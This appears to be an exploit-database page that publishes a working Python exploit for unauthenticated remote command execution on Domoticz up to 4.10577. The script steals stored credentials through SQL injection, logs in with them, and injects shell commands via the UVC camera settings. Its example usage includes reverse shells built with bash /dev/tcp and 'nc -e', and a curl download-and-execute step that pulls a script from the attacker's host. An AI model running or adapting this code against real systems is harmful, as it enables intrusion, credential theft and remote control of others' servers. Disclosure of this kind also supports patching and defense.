Domoticz 4.10577 Unauthenticated Remote Command Execution

2019.05.01
Risk: Low
Local: No
Remote: Yes
CWE: CWE-78


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

#!/usr/bin/env python #-*- coding: utf-8 -*- # Exploit Title: Unauthenticated Remote Command Execution on Domoticz <= 4.10577 # Date: April 2019 # Exploit Author: Fabio Carretto @ Certimeter Group # Vendor Homepage: https://www.domoticz.com/ # Software Link: https://www.domoticz.com/downloads/ # Version: Domoticz <= 4.10577 # Tested on: Debian 9 # CVE: CVE-2019-10664, CVE-2019-10678 # ==================================================================== # Bypass authentication, inject commands and execute them # Required login page or no authentication (doesn't work with "Basic-Auth" setting) # There are 3 injection modes. The 1st and the 2nd bypass the char filter: # 1.Default mode insert the commands in a script and reply with it once to # an HTTP request. Set address and port of the attacker host with -H and -P # 2.(-zipcmd) a zip icon pack will be uploaded. The domoticz installation path # can be optionally specified with -path /opt/domoti.. # 3.(-direct) commands executed directly. Characters like & pipe or redirection # cannot be used. The execution may block domoticz web server until the end # Examples: # ./exploit.py -H 172.17.0.1 -P 2222 http://172.17.0.2:8080/ 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1 &' # ./exploit.py -zipcmd http://localhost:8080/ 'nc 10.0.2.2 4444 -e /bin/bash &' import argparse import requests import urllib import base64 import json import BaseHTTPServer import zipfile import thread # Retrieve data from db with the SQL Injection on the public route def steal_dbdata(field): sqlinj = sqlpref % field urltmp = url_sqlinj + sqlinj r = session.get(urltmp) print '[+] %s: %s' % (field,r.text) return r.text # Login and return the SID cookie def dologin(username, password): url_login_cred = url_login % (username, password) r = session.get(url_login_cred) sid = r.headers['Set-Cookie'] sid = sid[sid.find('SID=')+4 : sid.find(';')] print '[+] SID=' + sid return sid # Search an uvc cam. If exists return its json config def get_uvc_cam(): r = session.get(url_camjson) cams = json.loads(r.text) if cams['status'] == 'OK' and 'result' in cams: for cam in cams['result']: if cam['ImageURL']=='uvccapture.cgi': return cam return None # Prompt the user and ask if continue or not def prompt_msg(msg): print '[+] WARNING: ' + msg if not args.f and not raw_input('[+] Continue? [y/N]: ') in ["y","Y"]: exit(0) return None # Embed the commands in a zip icon file (-zipcmd) def create_zip(commandsline): zipname = 'iconpackfake.zip' with zipfile.ZipFile(zipname, 'w') as zip: zip.writestr('icons.txt', "fakeicon;Button fakeicon;fake") zip.writestr('fakeicon.png', commandsline) zip.writestr('fakeicon48_On.png', commandsline) zip.writestr('fakeicon48_Off.png', commandsline) return zipname # HTTP server that reply once with the content of the script class SingleHandler(BaseHTTPServer.BaseHTTPRequestHandler): respbody = "" def do_GET(self): self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() self.wfile.write(self.respbody) return None def log_request(self, code): pass #-------------------------------------------------------------------- # INITIALIZATION #-------------------------------------------------------------------- parser = argparse.ArgumentParser( description="""Unauthenticated Remote Command Execution on Domoticz! (version <= 4.10577) Bypass authentication, inject os commands and execute them!""", epilog="""The default mode (1) insert the commands in a script and reply with it once to an HTTP request, use -H address and -P port. The -zipcmd (2) or -direct (3) option override the default mode.""") parser.add_argument('-noexec', action='store_true', help='no cmd injection, just steal credentials') parser.add_argument('-zipcmd', action='store_true', help='upload a zip icon pack with commands inside (2)') parser.add_argument('-direct', action='store_true', help='inject commands directly in uvc params (3)') parser.add_argument('-H', dest='lhost', type=str, help='address/name of attacker host in default mode (1)') parser.add_argument('-P', dest='lport', type=int, help='tcp port of attacker host in default mode (1)') parser.add_argument('-path', dest='path', type=str, default='/src/domoticz', help='change root path of domoticz to find the uploaded icon(script). Useful only with -zipcmd option') parser.add_argument('-f', action='store_true', help='shut up and do it') parser.add_argument('url', metavar='URL', nargs=1, type=str, help='target URL e.g.: http://localhost:8080/') parser.add_argument('cmd', metavar='cmd', nargs='+', type=str, help='os command to execute, ' 'send it in background or do a short job, the domoticz web server will hang during execution') args = parser.parse_args() if not(args.direct or args.zipcmd) and (args.lhost is None or args.lport is None): print '[-] Default mode needs host (-H) and port (-P) of attacker to download the commands' exit(0) username = '' password = '' cookies = dict() noauth = True sqlpref = 'UNION SELECT sValue FROM Preferences WHERE Key="%s" -- ' cmd = args.cmd url = args.url[0][:-1] if args.url[0][-1]=='/' else args.url[0] url_sqlinj = url + '/images/floorplans/plan?idx=1 ' url_login = url + '/json.htm?type=command&param=logincheck&username=%s&password=%s&rememberme=true' url_getconf = url + '/json.htm?type=settings' url_setconf = url + '/storesettings.webem' url_iconupl = url + '/uploadcustomicon' url_camjson = url + '/json.htm?type=cameras' url_camlive = url + '/camsnapshot.jpg?idx=' url_camadd = url + '/json.htm?type=command&param=addcamera&address=127.0.0.1&port=8080' \ '&name=uvccam&enabled=true&username=&password=&imageurl=dXZjY2FwdHVyZS5jZ2k%3D&protocol=0' cmd_zipicon = ['chmod 777 %s/www/images/fakeicon48_On.png' % args.path, '%s/www/images/fakeicon48_On.png' % args.path] cmd_default = ['curl %s -o /tmp/myexec.sh -m 5', 'chmod 777 /tmp/myexec.sh', '/tmp/myexec.sh'] #-------------------------------------------------------------------- # AUTHENTICATION BYPASS #-------------------------------------------------------------------- session = requests.Session() r = session.get(url_getconf) if r.status_code == 401: noauth = False username = steal_dbdata('WebUserName') password = steal_dbdata('WebPassword') cookies['SID'] = dologin(username, password) r = session.get(url_getconf) if args.noexec is True: exit(0) settings = json.loads(r.text) settings.pop('UVCParams', None) #-------------------------------------------------------------------- # Fix necessary to not break or lose settings chn = {'WebTheme':'Themes','UseAutoBackup':'enableautobackup','UseAutoUpdate':'checkforupdates'} for k in chn: settings[chn[k]] = settings.pop(k, None) sub = settings.pop('MyDomoticzSubsystems', 0) if sub >= 4: settings['SubsystemApps'] = 4; sub -= 4 if sub >= 2: settings['SubsystemShared'] = 2; sub -= 2 if sub == 1: settings['SubsystemHttp'] = 1 try: settings['HTTPURL'] = base64.b64decode(settings['HTTPURL']) settings['HTTPPostContentType'] = base64.b64decode(settings['HTTPPostContentType']) settings['Latitude'] = settings['Location']['Latitude'] settings['Longitude'] = settings['Location']['Longitude'] settings.pop('Location', None) except: pass toOn = ['allow','accept','hide','enable','disable','trigger','animate','show'] toOn += ['usee','floorplanfullscreen','senderrorsasn','emailasa','checkforupdates'] for k in [x for x in settings if any([y for y in toOn if y in x.lower()])]: if(str(settings[k]) == '1'): settings[k] = 'on' elif(str(settings[k]) == '0'): settings.pop(k, None) #-------------------------------------------------------------------- # COMMAND INJECTION #-------------------------------------------------------------------- cmdwrap = '\n'.join(['#!/bin/bash'] + cmd) payload = urllib.urlencode(settings) + '&' if cmd[-1][-1] != '&' and not args.direct: prompt_msg('if not sent in background the commands may block domoticz') if args.direct: prompt_msg('in direct mode & pipe redirect are not allowed (may block domoticz)') elif args.zipcmd: fakezip = create_zip(cmdwrap) files = [('file',(fakezip, open(fakezip,'rb'), 'application/zip'))] r = session.post(url_iconupl, files=files) cmd = cmd_zipicon else: httpd = BaseHTTPServer.HTTPServer(("", args.lport), SingleHandler) SingleHandler.respbody = cmdwrap thread.start_new_thread(httpd.handle_request, ()) cmd_default[0] = cmd_default[0] % ('http://%s:%d/' % (args.lhost,args.lport)) cmd = cmd_default # Encode the space and send the others in clear (chars like <>&;| not allowed) cmdencode = '\n'.join([x.replace(' ', '+') for x in cmd]) payload += 'UVCParams=-d+/dev/aaa\n%s\n#' % (cmdencode) req = requests.Request('POST', url_setconf, data=payload, cookies=cookies) r = session.send(req.prepare()) print '[+] Commands successfully injected' #-------------------------------------------------------------------- # COMMAND EXECUTION #-------------------------------------------------------------------- if noauth: session.cookies.clear() # fix if authentication is disabled cam = get_uvc_cam() if cam is None: print '[+] Adding new UVC camera' r = session.get(url_camadd) cam = get_uvc_cam() print '[+] Execution on cam with idx: ' + str(cam['idx']) r = session.get(url_camlive + str(cam['idx'])) # Restore the default UVC parameters (like a ninja) settings['UVCParams'] = '-S80 -B128 -C128 -G80 -x800 -y600 -q100' session.post(url_setconf, data=settings) print '[+] Done! Restored default uvc params!'


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top